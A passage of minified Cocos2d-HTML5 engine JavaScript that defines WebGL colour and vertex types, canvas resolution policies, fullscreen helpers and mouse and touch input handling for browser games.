  93. b.B.CA=function(){b.color=function(a,d,e,f,g,h){return void 0===a?new b.Af(0,0,0,255,g,h):"string"===typeof a?(a=b.IN(a),new b.Af(a.r,a.g,a.b,a.a)):"object"===typeof a?new b.Af(a.r,a.g,a.b,a.a,a.Ww,a.offset):new b.Af(a,d,e,f,g,h)};b.Af=function(a,d,e,f,g,h){this.Vc=g||new ArrayBuffer(b.Af.BYTES_PER_ELEMENT);this.la=h||0;g=this.Vc;h=this.la;var k=Uint8Array.BYTES_PER_ELEMENT;this.JC=new Uint8Array(g,h,1);this.CB=new Uint8Array(g,h+k,1);this.SA=new Uint8Array(g,h+2*k,1);this.LA=new Uint8Array(g,h+3*
  94. k,1);this.JC[0]=a||0;this.CB[0]=d||0;this.SA[0]=e||0;this.LA[0]=f||255;void 0===f&&(this.Cs=!0)};b.Af.BYTES_PER_ELEMENT=4;var a=b.Af.prototype;a.fW=function(){return this.JC[0]};a.VX=function(a){this.JC[0]=0>a?0:a};a.VV=function(){return this.CB[0]};a.QX=function(a){this.CB[0]=0>a?0:a};a.NV=function(){return this.SA[0]};a.HX=function(a){this.SA[0]=0>a?0:a};a.JV=function(){return this.LA[0]};a.GX=function(a){this.LA[0]=0>a?0:a};b.f(a,"r",a.fW,a.VX);b.f(a,"g",a.VV,a.QX);b.f(a,"b",a.NV,a.HX);b.f(a,"a",
  95. a.JV,a.GX);b.Zb=function(a,d,e,f){this.Vc=e||new ArrayBuffer(b.Zb.BYTES_PER_ELEMENT);this.la=f||0;this.um=new Float32Array(this.Vc,this.la,1);this.vm=new Float32Array(this.Vc,this.la+4,1);this.um[0]=a||0;this.vm[0]=d||0};b.Zb.BYTES_PER_ELEMENT=8;Object.defineProperties(b.Zb.prototype,{x:{get:function(){return this.um[0]},set:function(a){this.um[0]=a},enumerable:!0},y:{get:function(){return this.vm[0]},set:function(a){this.vm[0]=a},enumerable:!0}});b.tc=function(a,d,e,f,g){this.Vc=f||new ArrayBuffer(b.tc.BYTES_PER_ELEMENT);
  96. this.la=g||0;f=this.Vc;g=this.la;this.um=new Float32Array(f,g,1);this.um[0]=a||0;this.vm=new Float32Array(f,g+Float32Array.BYTES_PER_ELEMENT,1);this.vm[0]=d||0;this.cE=new Float32Array(f,g+2*Float32Array.BYTES_PER_ELEMENT,1);this.cE[0]=e||0};b.tc.BYTES_PER_ELEMENT=12;Object.defineProperties(b.tc.prototype,{x:{get:function(){return this.um[0]},set:function(a){this.um[0]=a},enumerable:!0},y:{get:function(){return this.vm[0]},set:function(a){this.vm[0]=a},enumerable:!0},z:{get:function(){return this.cE[0]},
  97. set:function(a){this.cE[0]=a},enumerable:!0}});b.$j=function(a,d,e,f){this.Vc=e||new ArrayBuffer(b.$j.BYTES_PER_ELEMENT);this.la=f||0;this.KD=new Float32Array(this.Vc,this.la,1);this.QD=new Float32Array(this.Vc,this.la+4,1);this.KD[0]=a||0;this.QD[0]=d||0};b.$j.BYTES_PER_ELEMENT=8;Object.defineProperties(b.$j.prototype,{ea:{get:function(){return this.KD[0]},set:function(a){this.KD[0]=a},enumerable:!0},fa:{get:function(){return this.QD[0]},set:function(a){this.QD[0]=a},enumerable:!0}});b.Rz=function(a,
  98. d,e,f,g,h){this.Vc=g||new ArrayBuffer(b.Rz.BYTES_PER_ELEMENT);this.la=h||0;g=this.Vc;h=b.Zb.BYTES_PER_ELEMENT;this.Fo=a?new b.Zb(a.x,a.y,g,0):new b.Zb(0,0,g,0);this.Io=d?new b.Zb(d.x,d.y,g,h):new b.Zb(0,0,g,h);this.Bn=e?new b.Zb(e.x,e.y,g,2*h):new b.Zb(0,0,g,2*h);this.Fn=f?new b.Zb(f.x,f.y,g,3*h):new b.Zb(0,0,g,3*h)};b.Rz.BYTES_PER_ELEMENT=32;b.Du=function(a,d,e,f){this.F=a||new b.tc(0,0,0);this.M=d||new b.tc(0,0,0);this.L=e||new b.tc(0,0,0);this.J=f||new b.tc(0,0,0)};Object.defineProperties(b.Rz.prototype,
  99. {L:{get:function(){return this.Fo},set:function(a){this.Fo.x=a.x;this.Fo.y=a.y},enumerable:!0},J:{get:function(){return this.Io},set:function(a){this.Io.x=a.x;this.Io.y=a.y},enumerable:!0},F:{get:function(){return this.Bn},set:function(a){this.Bn.x=a.x;this.Bn.y=a.y},enumerable:!0},M:{get:function(){return this.Fn},set:function(a){this.Fn.x=a.x;this.Fn.y=a.y},enumerable:!0}});b.wg=function(a,d,e,f,g){this.Vc=f||new ArrayBuffer(b.wg.BYTES_PER_ELEMENT);this.la=g||0;f=this.Vc;g=this.la;var h=b.tc.BYTES_PER_ELEMENT;
  100. this.Ua=a?new b.tc(a.x,a.y,a.z,f,g):new b.tc(0,0,0,f,g);this.gr=d?b.color(d.r,d.g,d.b,d.a,f,g+h):b.color(0,0,0,0,f,g+h);this.Xf=e?new b.$j(e.ea,e.fa,f,g+h+b.Af.BYTES_PER_ELEMENT):new b.$j(0,0,f,g+h+b.Af.BYTES_PER_ELEMENT)};b.wg.BYTES_PER_ELEMENT=24;Object.defineProperties(b.wg.prototype,{i:{get:function(){return this.Ua},set:function(a){var d=this.Ua;d.x=a.x;d.y=a.y;d.z=a.z},enumerable:!0},t:{get:function(){return this.gr},set:function(a){var d=this.gr;d.r=a.r;d.g=a.g;d.b=a.b;d.a=a.a},enumerable:!0},
  101. l:{get:function(){return this.Xf},set:function(a){this.Xf.ea=a.ea;this.Xf.fa=a.fa},enumerable:!0}});b.Cb=function(a,d,e,f,g,h){this.Vc=g||new ArrayBuffer(b.Cb.BYTES_PER_ELEMENT);this.la=h||0;g=this.Vc;h=this.la;var k=b.wg.BYTES_PER_ELEMENT;this.Fo=a?new b.wg(a.i,a.t,a.l,g,h):new b.wg(null,null,null,g,h);this.Bn=d?new b.wg(d.i,d.t,d.l,g,h+k):new b.wg(null,null,null,g,h+k);this.Io=e?new b.wg(e.i,e.t,e.l,g,h+2*k):new b.wg(null,null,null,g,h+2*k);this.Fn=f?new b.wg(f.i,f.t,f.l,g,h+3*k):new b.wg(null,
  102. null,null,g,h+3*k)};b.Cb.BYTES_PER_ELEMENT=96;Object.defineProperties(b.Cb.prototype,{L:{get:function(){return this.Fo},set:function(a){var d=this.Fo;d.i=a.i;d.t=a.t;d.l=a.l},enumerable:!0},F:{get:function(){return this.Bn},set:function(a){var d=this.Bn;d.i=a.i;d.t=a.t;d.l=a.l},enumerable:!0},J:{get:function(){return this.Io},set:function(a){var d=this.Io;d.i=a.i;d.t=a.t;d.l=a.l},enumerable:!0},M:{get:function(){return this.Fn},set:function(a){var d=this.Fn;d.i=a.i;d.t=a.t;d.l=a.l},enumerable:!0},
  103. Ww:{get:function(){return this.Vc},enumerable:!0}});b.KI=function(){return new b.Cb};b.JI=function(a){if(!a)return b.KI();var d=a.L,e=a.F,f=a.J;a=a.M;return{L:{i:{x:d.i.x,y:d.i.y,z:d.i.z},t:{r:d.t.r,g:d.t.g,b:d.t.b,a:d.t.a},l:{ea:d.l.ea,fa:d.l.fa}},F:{i:{x:e.i.x,y:e.i.y,z:e.i.z},t:{r:e.t.r,g:e.t.g,b:e.t.b,a:e.t.a},l:{ea:e.l.ea,fa:e.l.fa}},J:{i:{x:f.i.x,y:f.i.y,z:f.i.z},t:{r:f.t.r,g:f.t.g,b:f.t.b,a:f.t.a},l:{ea:f.l.ea,fa:f.l.fa}},M:{i:{x:a.i.x,y:a.i.y,z:a.i.z},t:{r:a.t.r,g:a.t.g,b:a.t.b,a:a.t.a},l:{ea:a.l.ea,
  104. fa:a.l.fa}}}};b.D7=function(a){if(!a)return[];for(var d=[],e=0;e<a.length;e++)d.push(b.JI(a[e]));return d};b.xd=function(a,d,e,f,g){this.Vc=f||new ArrayBuffer(b.xd.BYTES_PER_ELEMENT);this.la=g||0;f=this.Vc;g=this.la;var h=b.Zb.BYTES_PER_ELEMENT;this.Ua=a?new b.Zb(a.x,a.y,f,g):new b.Zb(0,0,f,g);this.gr=d?b.color(d.r,d.g,d.b,d.a,f,g+h):b.color(0,0,0,0,f,g+h);this.Xf=e?new b.$j(e.ea,e.fa,f,g+h+b.Af.BYTES_PER_ELEMENT):new b.$j(0,0,f,g+h+b.Af.BYTES_PER_ELEMENT)};b.xd.BYTES_PER_ELEMENT=20;Object.defineProperties(b.xd.prototype,
  105. {i:{get:function(){return this.Ua},set:function(a){this.Ua.x=a.x;this.Ua.y=a.y},enumerable:!0},t:{get:function(){return this.gr},set:function(a){var d=this.gr;d.r=a.r;d.g=a.g;d.b=a.b;d.a=a.a},enumerable:!0},l:{get:function(){return this.Xf},set:function(a){this.Xf.ea=a.ea;this.Xf.fa=a.fa},enumerable:!0}});b.Yb=function(a,d,e,f,g){this.Vc=f||new ArrayBuffer(b.Yb.BYTES_PER_ELEMENT);this.la=g||0;f=this.Vc;g=this.la;var h=b.xd.BYTES_PER_ELEMENT;this.UI=a?new b.xd(a.i,a.t,a.l,f,g):new b.xd(null,null,null,
  106. f,g);this.bJ=d?new b.xd(d.i,d.t,d.l,f,g+h):new b.xd(null,null,null,f,g+h);this.eJ=e?new b.xd(e.i,e.t,e.l,f,g+2*h):new b.xd(null,null,null,f,g+2*h)};b.Yb.BYTES_PER_ELEMENT=60;Object.defineProperties(b.Yb.prototype,{a:{get:function(){return this.UI},set:function(a){var d=this.UI;d.i=a.i;d.t=a.t;d.l=a.l},enumerable:!0},b:{get:function(){return this.bJ},set:function(a){var d=this.bJ;d.i=a.i;d.t=a.t;d.l=a.l},enumerable:!0},C:{get:function(){return this.eJ},set:function(a){var d=this.eJ;d.i=a.i;d.t=a.t;
  107. d.l=a.l},enumerable:!0}})};b.B.Jz=function(){var a=b.color;a.qW=function(){return a(255,255,255)};a.rW=function(){return a(255,255,0)};a.PV=function(){return a(0,0,255)};a.XV=function(){return a(0,255,0)};a.gW=function(){return a(255,0,0)};a.bW=function(){return a(255,0,255)};a.OV=function(){return a(0,0,0)};a.eW=function(){return a(255,127,0)};a.WV=function(){return a(166,166,166)};b.f(a,"WHITE",a.qW);b.f(a,"YELLOW",a.rW);b.f(a,"BLUE",a.PV);b.f(a,"GREEN",a.XV);b.f(a,"RED",a.gW);b.f(a,"MAGENTA",a.bW);b.f(a,"BLACK",a.OV);b.f(a,
  108. "ORANGE",a.eW);b.f(a,"GRAY",a.WV)};b.Af=function(a,c,d,e){this.r=a||0;this.g=c||0;this.b=d||0;this.a=e||255};b.color=function(a,c,d,e){return void 0===a?{r:0,g:0,b:0,a:255}:"string"===typeof a?b.IN(a):"object"===typeof a?{r:a.r,g:a.g,b:a.b,a:a.a||255}:{r:a,g:c,b:d,a:e||255}};b.s9=function(a,c){return a.r===c.r&&a.g===c.g&&a.b===c.b};b.dQ=function(){this.timestamp=this.z=this.y=this.x=0};b.Zb=function(a,c){this.x=a||0;this.y=c||0};b.tc=function(a,c,d){this.x=a||0;this.y=c||0;this.z=d||0};b.$j=function(a,c){this.ea=a||0;this.fa=c||0};
  109. b.Rj=function(a,c){this.src=a;this.U=c};b.d9=function(){return new b.Rj(b.ONE,b.ZERO)};b.IN=function(a){a=a.replace(/^#?/,"0x");a=parseInt(a);return b.color(a>>16,(a>>8)%256,a%256)};b.t9=function(a){var c=a.r.toString(16),d=a.g.toString(16),e=a.b.toString(16);return"#"+(16>a.r?"0"+c:c)+(16>a.g?"0"+d:d)+(16>a.b?"0"+e:e)};b.Iu=0;b.un=1;b.ZH=2;b.Tq=0;b.uU=1;b.LI=2;
  110. b.I7=b.ja.extend({po:null,ws:null,KA:0,ctor:function(){this.po={};this.ws={};this.KA=2<<(0|10*Math.random())},FU:function(){this.KA++;return"key_"+this.KA},via:function(a,c){if(null!=c){var d=this.FU();this.po[d]=c;this.ws[d]=a}},a2:function(a){if(null==a)return null;var c=this.po,d;for(d in c)if(c[d]===a)return this.ws[d];return null},kka:function(a){return this.a2(a)},M2:function(a){if(null!=a){var c=this.po,d;for(d in c)if(c[d]===a){delete this.ws[d];delete c[d];break}}},Wga:function(a){if(null!=
  111. a)for(var c=0;c<a.length;c++)this.M2(a[c])},WY:function(){var a=[],c=this.po,d;for(d in c)a.push(c[d]);return a},Qga:function(){this.po={};this.ws={}},count:function(){return this.WY().length}});
  112. b.eH=function(){this.fontName="Arial";this.fontSize=12;this.textAlign=b.un;this.verticalAlign=b.Tq;this.fillStyle=b.color(255,255,255,255);this.boundingHeight=this.boundingWidth=0;this.AG=!1;this.strokeStyle=b.color(255,255,255,255);this.lineWidth=1;this.CP=!1;this.shadowBlur=this.shadowOffsetY=this.shadowOffsetX=0;this.shadowOpacity=1};b.A===b.$&&(b.assert("function"===typeof b.B.CA,b.e.Nc,"CCTypesWebGL.js"),b.B.CA(),delete b.B.CA);b.assert("function"===typeof b.B.Jz,b.e.Nc,"CCTypesPropertyDefine.js");
  113. b.B.Jz();delete b.B.Jz;b.x7=[];b.y7={};
  114. b.ez=b.ja.extend({S7:null,ie:null,Qn:null,Dk:null,se:null,wi:null,RC:!1,RA:!0,Ol:1,XD:"",OC:null,pa:1,UK:1,Ta:1,VK:1,ho:0,hC:5,th:null,sL:null,wL:null,vL:null,tL:null,uL:null,Er:!1,P7:!1,A8:null,pK:null,qK:null,w8:!1,iB:null,wk:null,BB:1,Zu:!1,AK:!0,ctor:function(){var a=document,c=b.Sj,d=b.rg;this.wk=b.Bm.parentNode===a.body?a.documentElement:b.Bm.parentNode;this.ie=O(0,0);this.QB();var a=b.Za.width,e=b.Za.height;this.Qn=O(a,e);this.Dk=O(a,e);this.se=Q(0,0,a,e);this.wi=Q(0,0,a,e);this.iB={left:0,
  115. top:0};this.XD="Cocos2dHTML5";a=b.ib;this.f_(a.KF==a.sH||a.KF==a.tH);b.Oj&&b.Oj.G(this.wi);this.sL=new b.ye(c.bu,d.hz);this.wL=new b.ye(c.vS,d.SHOW_ALL);this.vL=new b.ye(c.bu,d.zz);this.tL=new b.ye(c.bu,d.iz);this.uL=new b.ye(c.bu,d.tu);this.pK=b.Za;this.qK=b.k},PC:function(){var a=this.Dk.width,c=this.Dk.height;this.OC&&(this.QB(),this.OC.call());0<a&&this.zy(a,c,this.th)},S2:function(a){a?this.Zu||(this.Zu=!0,a=this.PC.bind(this),b.Ja(window,"resize",a,!1)):this.Zu&&(this.Zu=!0,a=this.PC.bind(this),
  116. window.removeEventListener("resize",a,!1))},Nia:function(a){if("function"==typeof a||null==a)this.OC=a},QB:function(){var a=this.ie;a.width=this.wk.clientWidth;a.height=this.wk.clientHeight},J7:function(){var a=this.Dk.width,c=this.Dk.height;0<a&&this.zy(a,c,this.th)},nY:function(){if(this.AK){var a={"user-scalable":"no","maximum-scale":"1.0","initial-scale":"1.0"},c=document.getElementsByName("viewport"),d;0==c.length?(c=b.Ob("meta"),c.name="viewport",c.content="",document.head.appendChild(c)):c=
  117. c[0];if(b.ib.Ci&&b.ib.zm==b.ib.Tp)c.content="initial-scale:1";else{d=c.content;for(var e in a)RegExp(e).test(d)||(d+=(""==d?"":",")+e+"\x3d"+a[e]);c.content=d}}},CL:function(){var a=b.rb();this.Ta=this.pa=a},pL:function(){this.pa=this.UK;this.Ta=this.VK},K7:function(){},a1:function(){this.Er=!0},RY:function(a){this.AK=a},f_:function(a){this.RC=a?!0:!1},jda:function(){return this.RC},t$:function(a){this.RA=a?!0:!1},Wca:function(){return this.RA},end:function(){},gda:function(){return null!=this.pK&&
  118. null!=this.qK},aia:function(a){this.BB=a;b.D.$m(b.D.qi)},Oja:function(){},fia:function(){},Mha:function(a,c){this.iB={left:a,top:c}},qaa:function(){return this.iB},Qaa:function(){return O(this.ie.width,this.ie.height)},$ha:function(a,c){this.ie.width=a;this.ie.height=c;this.wk.style.width=a+"px";this.wk.style.height=c+"px";this.PC();b.D.$m(b.D.qi)},n9:function(){},Vs:function(){return O(this.wi.width,this.wi.height)},aF:function(){return N(this.wi.x,this.wi.y)},g9:function(){return!0},Pba:function(){return this.th},
  119. J3:function(a){if(a instanceof b.ye)this.th=a;else{var c=b.ye;a===c.hz&&(this.th=this.sL);a===c.SHOW_ALL&&(this.th=this.wL);a===c.zz&&(this.th=this.vL);a===c.iz&&(this.th=this.tL);a===c.tu&&(this.th=this.uL)}},zy:function(a,c,d){if(isNaN(a)||0==a||isNaN(c)||0==c)b.log(b.e.UQ);else{this.J3(d);var e=this.th;if(e){e.Um(this);var f=this.ie.width,g=this.ie.height;b.ib.Ci&&this.nY(this.ie.width,this.ie.height);this.QB();if(d!=this.th||a!=this.Dk.width||c!=this.Dk.height||f!=this.ie.width||g!=this.ie.height)this.Qn=
  120. O(a,c),this.Dk=O(a,c),a=e.apply(this,this.Qn),a.scale&&2==a.scale.length&&(this.pa=a.scale[0],this.Ta=a.scale[1]),a.viewport&&(a=this.se=a.viewport,c=this.wi,c.width=b.Za.width/this.pa,c.height=b.Za.height/this.Ta,c.x=-a.x/this.pa,c.y=-a.y/this.Ta),a=b.D,b.Vt.width=a.R.width=this.wi.width,b.Vt.height=a.R.height=this.wi.height,e.Tm(this),b.A==b.$&&(a.Nn(),a.gP()),this.UK=this.pa,this.VK=this.Ta,b.LQ&&b.LQ.n8(),b.Oj&&b.Oj.G(this.wi)}else b.log(b.e.VQ)}},OE:function(){return O(this.Qn.width,this.Qn.height)},
  121. d4:function(a,c,d,e){var f=this.BB,g=this.pa,h=this.Ta;b.k.viewport(a*g*f+this.se.x*f,c*h*f+this.se.y*f,d*g*f,e*h*f)},Pia:function(a,c,d,e){var f=this.BB,g=this.pa,h=this.Ta;b.k.scissor(a*g*f+this.se.x*f,c*h*f+this.se.y*f,d*g*f,e*h*f)},lda:function(){var a=b.k;return a.isEnabled(a.SCISSOR_TEST)},Uba:function(){var a=b.k,c=this.pa,d=this.Ta,a=a.getParameter(a.SCISSOR_BOX);return Q((a[0]-this.se.x)/c,(a[1]-this.se.y)/d,a[2]/c,a[3]/d)},yja:function(a){null!=a&&0<a.length&&(this.XD=a)},Bca:function(){return this.XD},
  122. Cca:function(){return this.se},sN:function(){return this.pa},tN:function(){return this.Ta},yaa:function(){return this.Ol},vE:function(a,c,d){return{x:this.Ol*(a-d.left),y:this.Ol*(d.top+d.height-c)}},oV:function(a,c){var d=this.se;a.x=(this.Ol*(a.x-c.left)-d.x)/this.pa;a.y=(this.Ol*(c.top+c.height-a.y)-d.y)/this.Ta},rv:function(a){for(var c=this.se,d=this.pa,e=this.Ta,f,g,h,k=0;k<a.length;k++)f=a[k],g=f.Cd,h=f.pi,f.hD((g.x-c.x)/d,(g.y-c.y)/e),f.vo((h.x-c.x)/d,(h.y-c.y)/e)}});
  123. b.ez.HB=function(){this.Tv||(this.Tv=this.Tv||new b.ez,this.Tv.a1());return this.Tv};
  124. b.Sj=b.ja.extend({Um:function(){},apply:function(){},Tm:function(){},lD:function(a,c,d){var e=a.wk;b.view.RA&&b.ib.Ci&&e==document.documentElement&&b.screen.kZ(e);var e=b.Za,f=b.Bm;f.style.width=e.style.width=c+"px";f.style.height=e.style.height=d+"px";f=a.Ol=1;a.RC&&(f=a.Ol=window.devicePixelRatio||1);e.width=c*f;e.height=d*f;a=document.body;var g;a&&(g=a.style)&&(g.paddingTop=g.paddingTop||"0px",g.paddingRight=g.paddingRight||"0px",g.paddingBottom=g.paddingBottom||"0px",g.paddingLeft=g.paddingLeft||
  125. "0px",g.borderTop=g.borderTop||"0px",g.borderRight=g.borderRight||"0px",g.borderBottom=g.borderBottom||"0px",g.borderLeft=g.borderLeft||"0px",g.marginTop=g.marginTop||"0px",g.marginRight=g.marginRight||"0px",g.marginBottom=g.marginBottom||"0px",g.marginLeft=g.marginLeft||"0px")},cK:function(){document.body.insertBefore(b.Bm,document.body.firstChild);var a=document.body.style;a.width=window.innerWidth+"px";a.height=window.innerHeight+"px";a.overflow="hidden";a=b.Bm.style;a.position="fixed";a.left=
  126. a.top="0px";document.body.scrollTop=0}});b.rg=b.ja.extend({QC:{scale:[1,1],viewport:null},cr:function(a,c,d,e,f,g){2>Math.abs(a-d)&&(d=a);2>Math.abs(c-e)&&(e=c);a=Q(Math.round((a-d)/2),Math.round((c-e)/2),d,e);b.A==b.Ea&&b.k.translate(a.x,a.y+e);this.QC.scale=[f,g];this.QC.viewport=a;return this.QC},Um:function(){},apply:function(){return{scale:[1,1]}},Tm:function(){}});
  127. (function(){var a=b.Sj.extend({apply:function(a){this.lD(a,a.ie.width,a.ie.height)}}),c=b.Sj.extend({apply:function(a,c){var d=a.ie.width,e=a.ie.height,f=b.Bm.style,r=c.width,s=c.height,u=d/r,t=e/s,v,w;u<t?(v=d,w=s*u):(v=r*t,w=e);r=Math.round((d-v)/2);w=Math.round((e-w)/2);this.lD(a,d-2*r,e-2*w);f.marginLeft=r+"px";f.marginRight=r+"px";f.marginTop=w+"px";f.marginBottom=w+"px"}});a.extend({Um:function(a){this._super(a);a.wk=document.documentElement},apply:function(a){this._super(a);this.cK()}});c.extend({Um:function(a){this._super(a);
  128. a.wk=document.documentElement},apply:function(a,c){this._super(a,c);this.cK()}});var d=b.Sj.extend({apply:function(a){this.lD(a,b.Za.width,b.Za.height)}});b.Sj.bu=new a;b.Sj.vS=new c;b.Sj.P6=new d;var a=b.rg.extend({apply:function(a,c){var d=b.Za.width,e=b.Za.height;return this.cr(d,e,d,e,d/c.width,e/c.height)}}),c=b.rg.extend({apply:function(a,c){var d=b.Za.width,e=b.Za.height,f=c.width,r=c.height,s=d/f,u=e/r,t=0,v,w;s<u?(t=s,v=d,w=r*t):(t=u,v=f*t,w=e);return this.cr(d,e,v,w,t,t)}}),d=b.rg.extend({apply:function(a,
  129. c){var d=b.Za.width,e=b.Za.height,f=c.width,r=c.height,s=d/f,u=e/r,t,v,w;s<u?(t=u,v=f*t,w=e):(t=s,v=d,w=r*t);return this.cr(d,e,v,w,t,t)}}),e=b.rg.extend({apply:function(a,c){var d=b.Za.width,e=b.Za.height,f=e/c.height;return this.cr(d,e,d,e,f,f)},Tm:function(a){b.D.R=a.Vs()}}),f=b.rg.extend({apply:function(a,c){var d=b.Za.width,e=b.Za.height,f=d/c.width;return this.cr(d,e,d,e,f,f)},Tm:function(a){b.D.R=a.Vs()}});b.rg.hz=new a;b.rg.SHOW_ALL=new c;b.rg.zz=new d;b.rg.iz=new e;b.rg.tu=new f})();
  130. b.ye=b.ja.extend({pv:null,qv:null,ctor:function(a,c){this.i3(a);this.j3(c)},Um:function(a){this.pv.Um(a);this.qv.Um(a)},apply:function(a,c){this.pv.apply(a,c);return this.qv.apply(a,c)},Tm:function(a){this.pv.Tm(a);this.qv.Tm(a)},i3:function(a){a instanceof b.Sj&&(this.pv=a)},j3:function(a){a instanceof b.rg&&(this.qv=a)}});b.ye.hz=0;b.ye.zz=1;b.ye.SHOW_ALL=2;b.ye.iz=3;b.ye.tu=4;b.ye.sU=5;b.screen={Jw:!1,BC:null,HD:"",vk:null,CV:[["requestFullscreen","exitFullscreen","fullscreenchange","fullscreenEnabled","fullscreenElement"],["requestFullScreen","exitFullScreen","fullScreenchange","fullScreenEnabled","fullScreenElement"],["webkitRequestFullScreen","webkitCancelFullScreen","webkitfullscreenchange","webkitIsFullScreen","webkitCurrentFullScreenElement"],["mozRequestFullScreen","mozCancelFullScreen","mozfullscreenchange","mozFullScreen","mozFullScreenElement"],["msRequestFullscreen",
  131. "msExitFullscreen","MSFullscreenChange","msFullscreenEnabled","msFullscreenElement"]],G:function(){this.vk={};var a,c,d=this.CV,e;a=0;for(l=d.length;a<l;a++)if((c=d[a])&&c[1]in document){a=0;for(e=c.length;a<e;a++)this.vk[d[0][a]]=c[a];break}this.Jw=void 0!=this.vk.requestFullscreen;this.HD="ontouchstart"in window?"touchstart":"mousedown"},fullScreen:function(){return this.Jw&&document[this.vk.fullscreenEnabled]},QO:function(a,c){if(this.Jw){a=a||document.documentElement;a[this.vk.requestFullscreen]();
  132. if(c){var d=this.vk.T$;this.BC&&document.removeEventListener(d,this.BC);this.BC=c;b.Ja(document,d,c,!1)}return a[this.vk.requestFullscreen]()}},w$:function(){return this.Jw?document[this.vk.exitFullscreen]():!0},kZ:function(a,c){function d(){f.QO(a,c);e.removeEventListener(f.HD,d)}a=a||document.body;var e=b.Za||a,f=this;this.QO(a,c);b.Ja(e,this.HD,d)}};b.screen.G();b.Oj={MP:N(0,0),NP:N(0,0),top:N(0,0),$w:N(0,0),qM:N(0,0),bottom:N(0,0),Ks:N(0,0),left:N(0,0),right:N(0,0),width:0,height:0,G:function(a){var c=this.width=a.width,d=this.height=a.height,e=a.x;a=a.y;var f=a+d,g=e+c;this.MP.x=e;this.MP.y=f;this.NP.x=g;this.NP.y=f;this.top.x=e+c/2;this.top.y=f;this.$w.x=e;this.$w.y=a;this.qM.x=g;this.qM.y=a;this.bottom.x=e+c/2;this.bottom.y=a;this.Ks.x=e+c/2;this.Ks.y=a+d/2;this.left.x=e;this.left.y=a+d/2;this.right.x=g;this.right.y=a+d/2}};b.hU=-90;b.iU=90;b.jU=180;b.A7=0;
  133. b.VN={qo:!1,EK:!1,aL:N(0,0),uX:N(0,0),bL:[],CC:0,Tk:[],ID:{},ho:0,hC:5,av:!1,bv:1/30,WI:1,Hl:0,MA:null,$u:null,oW:function(){for(var a=this.ho,c=0;c<this.hC;c++){if(!(a&1))return this.ho|=1<<c,c;a>>=1}return-1},AX:function(a){0>a||a>=this.hC||(a=~(1<<a),this.ho&=a)},yk:null,dF:function(a){for(var c,d,e,f=[],g=this.ID,h=0,k=a.length;h<k;h++)c=a[h],e=c.mh,d=g[e],null==d&&(d=this.oW(),-1==d?b.log(b.e.b1,d):(c=this.Tk[d]=c,g[e]=d,f.push(c)));0<f.length&&(this.yk.rv(f),a=new b.sg(f),a.rk=b.sg.jn.Ty,b.sa.dispatchEvent(a))},
  134. eF:function(a){for(var c,d,e=[],f=this.Tk,g=0,h=a.length;g<h;g++)c=a[g],d=c.mh,d=this.ID[d],null!=d&&f[d]&&(f[d].hD(c.Cd),f[d].vo(c.pi),e.push(f[d]));0<e.length&&(this.yk.rv(e),a=new b.sg(e),a.rk=b.sg.jn.vz,b.sa.dispatchEvent(a))},yx:function(a){a=this.uN(a);0<a.length&&(this.yk.rv(a),a=new b.sg(a),a.rk=b.sg.jn.fz,b.sa.dispatchEvent(a))},GN:function(a){a=this.uN(a);0<a.length&&(this.yk.rv(a),a=new b.sg(a),a.rk=b.sg.jn.Yy,b.sa.dispatchEvent(a))},uN:function(a){for(var c,d,e,f=[],g=this.Tk,h=this.ID,
  135. k=0,m=a.length;k<m;k++)c=a[k],e=c.mh,d=h[e],null!=d&&g[d]&&(g[d].hD(c.Cd),g[d].vo(c.pi),f.push(g[d]),this.AX(d),delete h[e]);return f},Kh:function(a){var c=document.documentElement,d=window,e=null,e="function"===typeof a.getBoundingClientRect?a.getBoundingClientRect():a instanceof HTMLCanvasElement?{left:0,top:0,width:a.width,height:a.height}:{left:0,top:0,width:parseInt(a.style.width),height:parseInt(a.style.height)};return{left:e.left+d.pageXOffset-c.clientLeft,top:e.top+d.pageYOffset-c.clientTop,
  136. width:e.width,height:e.height}},j0:function(a){for(var c=null,d=this.bL,e=a.mh,f=d.length-1;0<=f;f--)if(d[f].mh==e){c=d[f];break}c||(c=a);return c},I3:function(a){for(var c=!1,d=this.bL,e=a.mh,f=d.length-1;0<=f;f--)if(d[f].mh==e){d[f]=a;c=!0;break}c||(50>=d.length?d.push(a):(d[this.CC]=a,this.CC=(this.CC+1)%50))},Us:function(a,c,d){var e=this.aL;a=this.yk.vE(a,c,d);c=new b.oA(a.x,a.y);c.vo(e.x,e.y);e.x=a.x;e.y=a.y;return c},ep:function(a,c,d){var e=this.uX;this.yk.oV(a,c);c=new b.Cc(d);c.x3(a.x,a.y);
  137. c.UX(e.x,e.y);e.x=a.x;e.y=a.y;return c},fp:function(a,c){if(null!=a.pageX)return{x:a.pageX,y:a.pageY};c.left-=document.body.scrollLeft;c.top-=document.body.scrollTop;return{x:a.clientX,y:a.clientY}},vx:function(a,c){for(var d=[],e=this.yk,f,g,h=this.aL,k=a.changedTouches.length,m=0;m<k;m++)if(f=a.changedTouches[m]){var p;p=b.ib.Tp===b.ib.zm?e.vE(f.pageX,f.pageY,c):e.vE(f.clientX,f.clientY,c);null!=f.identifier?(f=new b.oA(p.x,p.y,f.identifier),g=this.j0(f).Ts(),f.vo(g.x,g.y),this.I3(f)):(f=new b.oA(p.x,
  138. p.y),f.vo(h.x,h.y));h.x=p.x;h.y=p.y;d.push(f)}return d},F2:function(a){if(!this.EK){var c=this.yk=b.view,d=this,e="touches"in b.ib.Js;"mouse"in b.ib.Js&&(b.Ja(window,"mousedown",function(){d.qo=!0},!1),b.Ja(window,"mouseup",function(c){var f=d.qo;d.qo=!1;if(f){var f=d.Kh(a),g=d.fp(c,f);b.HO(new b.MH(f.left,f.top,f.width,f.height),g)||(e||d.yx([d.Us(g.x,g.y,f)]),f=d.ep(g,f,b.Cc.zA),f.Zm(c.button),b.sa.dispatchEvent(f))}},!1),b.Ja(a,"mousedown",function(c){d.qo=!0;var f=d.Kh(a),g=d.fp(c,f);e||d.dF([d.Us(g.x,
